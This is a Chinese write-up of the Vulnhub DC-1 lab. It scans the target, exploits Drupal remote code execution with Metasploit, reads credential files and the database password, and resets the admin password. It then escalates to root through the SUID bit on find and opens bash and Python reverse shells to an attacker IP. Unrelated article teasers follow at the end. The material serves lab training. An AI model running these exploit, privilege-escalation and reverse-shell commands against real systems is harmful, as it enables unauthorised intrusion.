Vulnhub-DC1
前言
一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权,并找到官方设计的5个flag。
环境配置
虚拟机Kali:IP-192.168.232.140
DC-1靶场机:
官网下载 https://download.vulnhub.com/dc/DC-1.zip
将攻击机kali和vulhub靶机配置一个网卡即可!这里使用的都是NAT模式。
渗透过程
信息收集阶段
通过Nmap进行网段的存活主机的探测,以及端口的探测:
命令:nmap -sV -Pn 192.168.232.0/24

这里发现192.168.232.147 便是靶机的地址,开放的端口存在22 80 111端口,尝试访问80web服务:

这个界面现在来看是相当的熟悉了,还记得ISCC2023的实战题目就是这个Drupal的远程命令执行吧?
drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。
MSF攻击
接下来我们尝试使用msf来进行攻击:
msfconsole
search drupal
use 1
set rhost 192.168.232.147
set lhost 192.168.232.140
run

接下来开启交互式shell
交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

我们可以看到当前的用户是www-data
python -c //实际上-c代表着command的意思,可以再命令行中调用python代码
import pty;pty.spawn("/bin/bash") //使用 python 的 pty 来转换为 交互式shell
也可以使用:"__import__('subprocess').call(['/bin/bash'])"
Linux机器信息收集
DNS配置文件
/etc/resolv.conf

系统用户配置文件
/etc/passwd

(这里发现了flag4 该文件的路径在/home/flag4)
影子文件
/etc/shadow 系统用户的密码信息

说是没有权限
查看进程
ps aux

发现数据库进程!
寻找flag
当前的目录下面存在着flag1.txt,但是说是需要寻找配置文件:

接下来就去查询了一下drupal的配置文件,说是有一个settings.php文件

之后定位到这个文件的路径:

发现了flag2的提示:他说“使用暴力破解和字典攻击并不是唯一获得权限的方式,你能用这些信息做什么?”
下面就是数据库的用户和密码了,那么我们就可以连接数据库了:
使用数据库的账号和密码来连接到数据库:

查看存在的数据库:(show databases;)

查看drupaldb数据库中存在哪些表:

发现了存在着user表。
这里经过查阅相关资料,两种方法可以重置密码:
- 在根目录下面的index.php中添加
require_once 'includes/password.inc';
require_once 'includes/bootstrap.inc';
echo user_hash_password('123456');
这样就能在页面中显示123456加密后的密码。
- 定位到drupal根目录下
-
- 执行 script/password-hash.sh 密码 这样也是可以获取到加密后的密码的
之后有了加密的密码,便可以更新掉users表中的密码!
接下来就是去修改密码:


使用admin 123456 登录drupal:

Find content里面发现了还未发布的flag3!
提权
利用SUID提权
首先是查看哪些文件具有suid权限:
find / -perm -u=s -type f 2>/dev/null
首先查找一下find命令在哪里: which find
再检查一下find命令是否存在suid权限:ls -l /usr/bin/find

发现确实find命令是具有suid权限的。
最后使用find命令执行一下‘whoami’发现是root权限:
touch getroot
find / -type f -name getroot -exec "whoami" \;

这里需要注意的是find 后面跟着的路径必须是存在的! 如果不存在的话 后面的exec就会报错,不会执行的
find /etc/passwd -exec "/bin/sh" \;
nc监听反弹shell
kali攻击机上执行 :nc -lvvp 6666
Msf中执行构建好的find命令:
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.232.140/6666 0>$1 \;
还可以通过python来反弹shell:
find /etc/passwd python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell


此时已经提权为root权限啦。

最终在root目录下,发现了最终的flag。
相关文章:
Vulnhub-DC1
前言 一个比较简单的实战靶场,官方要求是找到/root下的flag,所以直接提权即可。但对于学习和训练来说还是太简略了,在打靶场的时候还是全面一些较好。 本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提…...
【c++笔记】总结!c++与c语言的不同之处
(Θ3Θ) hi~ 众所周知\(^o^)/~,c语言和c联系密切,又相互区别,本篇文章主要介绍c与c语言的区别与联系以及一些简单的不同点的运用,很适合刚接触c的朋友,一起来瞧瞧看吧~~ 目录 一、文章内容梗概 二、概念…...
大模型PEFT技术原理(一):BitFit、Prefix Tuning、Prompt Tuning
随着预训练模型的参数越来越大,尤其是175B参数大小的GPT3发布以来,让很多中小公司和个人研究员对于大模型的全量微调望而却步,近年来研究者们提出了各种各样的参数高效迁移学习方法(Parameter-efficient Transfer Learning&#x…...
VMware vSphere运维管理手册
适用版本:VMware vSphere 7.0 VMware vSphere 是 VMware 的虚拟化平台,可将数据中心转换为包括 CPU、存储和网络资源的聚合计算基础架构。vSphere 将这些基础架构作为一个统一的运行环境进行管理,并为您提供工具来管理加入该环境的数据中心。 ![[Pasted image 20231212132…...
学习笔记-mysql-各种函数的基本使用
1. 聚合函数 count , sum , min , max ,avg , group_concat() -- 将所有员工的名字合并成一行 select group_concat(emp_name) from emp; -- 指定分隔符合并 select department,group_concat(emp_name separator ; ) from emp group by department; -- 指定排序方式和分隔…...
DD小桔高级数分 2面挂
偏业务分析一点,注重AB实验在实际业务中的操作、业务方交流方式 一面|同事面 中规中矩,面试内容偏简单,不知道是不是因为晚8点面试的原因项目没有进行深究 自我介绍项目介绍1.你在实际项目中是怎么设计AB实验2.你在实际业务场景中是怎么判…...
居中面试问题
前端常问居中面试问题 css文本居中 文本水平居中 <div class"father"><div class"child"><div> <div>子类元素为行内元素,则给父类元素定义text-align:center 如果子元素是块元素,则给子元素定义margin&…...
网页设计-用户体验
Use Cases (用例) 用例是用户如何在网站上执行任务的书面描述,从用户的角度描述了系统响应请求时的行为。每个用例都是用户实现目标的一系列简单的步骤。简言之,用例是一种用于描述系统如何满足用户需求的方法。 用例的好处 1. 明确需求: Use…...
docker应用:vocechat
简介:VoceChat是一款超轻量级的Rust聊天应用程序、API和SDK,优先考虑私人托管。使用VoceChat建立您自己的聊天功能!作为一款非常好用的通讯应用程序,它可以让你与朋友、家人和同事进行即时消息聊天,支持图片视频的分享…...
linux 02 vmware的快照,文件管理
01.快照 使用快照: 同时的快照管理器: 如果想要返回快照,选择要选择的快照,跳转 02. 文件管理: cd 修改当前路径 02.touch 创建文件 03. mkdir 创建文件夹 mkdir -p 文件夹 (创建之前没有的上级文件…...
项目架构之Zabbix部署
1 项目架构 1.1 项目架构的组成 业务架构:客户端 → 防火墙 → 负载均衡(四层、七层) → web缓存/应用 → 业务逻辑(动态应用) → 数据缓存 → 数据持久层 运维架构:运维客户端 → 跳板机/堡垒机&#x…...
RocketMQ源码阅读-Message消息存储
RocketMQ源码阅读-Message消息存储 1. CommitLog的作用2. CommitLog 存储消息3. 时序图4. 小结 在Broker消息接收一篇中,分析到Broker接收到消息,最终会调用CommitLong#putMessage方法存储消息。 本篇来分析CommitLong#putMessage存储消息的流程。 1. C…...
《C语言学习》---郝斌版---笔记
简介 学习计算机,离不开C语言的学习,而C语言学习过程中的视频课教程,目前来说,如果郝斌老师的C语言排第二,没有人敢排第一 郝斌老师的C语言教程,通俗易懂,引人发思,特别适合新手入门…...
Python(32):字符串转换成列表或元组,列表转换成字典小例子
1、python 两个列表转换成字典 字符串转换成列表 列表转换成字典 column "ID,aes,sm4,sm4_a,email,phone,ssn,military,passport,intelssn,intelpassport,intelmilitary,intelganghui,inteltaitonei,credit_card_short,credit_card_long,job,sm4_cbc,sm4_a_cbc" …...
CentOS 7 安装私有平台OpenNebula
目录 一、配置yum源 二、配置数据库MySQL 2.1 安装MySQL 2.2 修改MySQL密码 2.3 创建项目用户和库 三、安装配置前端包 四、设置oneadmin账号密码 五、验证安装 5.1 命令行验证安装 5.2 数据存放位置 5.3 端口介绍 5.4 命令介绍 六、访问 6.1 设置语言 6.2 创建主…...
(aiohttp-asyncio-FFmpeg-Docker-SRS)实现异步摄像头转码服务器
1. 背景介绍 在先前的博客文章中,我们已经搭建了一个基于SRS的流媒体服务器。现在,我们希望通过Web接口来控制这个服务器的行为,特别是对于正在进行的 RTSP 转码任务的管理。这将使我们能够在不停止整个服务器的情况下,动态地启动…...
基于STM32微控制器的四轮智能小车控制系统设计
标题:基于STM32微控制器的四轮智能小车控制系统设计与实现 摘要: 本文针对移动机器人领域的应用需求,详细介绍了基于STM32系列单片机(以STM32F103C8T6为例)为核心的四轮小车控制系统的设计和实现过程。该系统集成了电…...
JPA的复杂查询包括一对多多对一和多对多的查询
1. 多表关联查询和排序 假设我们有两个实体类:Customer和Order,它们之间是一对多的关系,即一个客户可以有多个订单。我们想要查询某个客户的所有订单,并按订单金额进行降序排序。 Entity Table(name "customers") pu…...
电脑文件mfc100u.dll丢失的解决方法分析,怎么修复mfc100u.dll靠谱
mfc100u.dll丢失了要怎么办?其实很多人都遇到过这样的电脑故障吧,说这个mfc100u.dll文件已经不见了,然后一些程序打不开了,那么这种情况我们要怎么解决呢?今天我们就来给大家详细的说说mfc100u.dll丢失的解决方法。 一…...
从DETR到Mask2former(2): 损失函数loss function
DETR的损失函数包括几个部分,如果只看论文或者代码,比较难理解,最好是可以打断点调试,对照着论文看。但是现在DETR模型都已经被集成进各种框架中,很难进入内部打断掉调试。与此同时,数据的label的前处理也比…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
UDP(Echoserver)
网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法:netstat [选项] 功能:查看网络状态 常用选项: n 拒绝显示别名&#…...
蓝桥杯 2024 15届国赛 A组 儿童节快乐
P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
渲染学进阶内容——模型
最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...
什么是库存周转?如何用进销存系统提高库存周转率?
你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...
华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
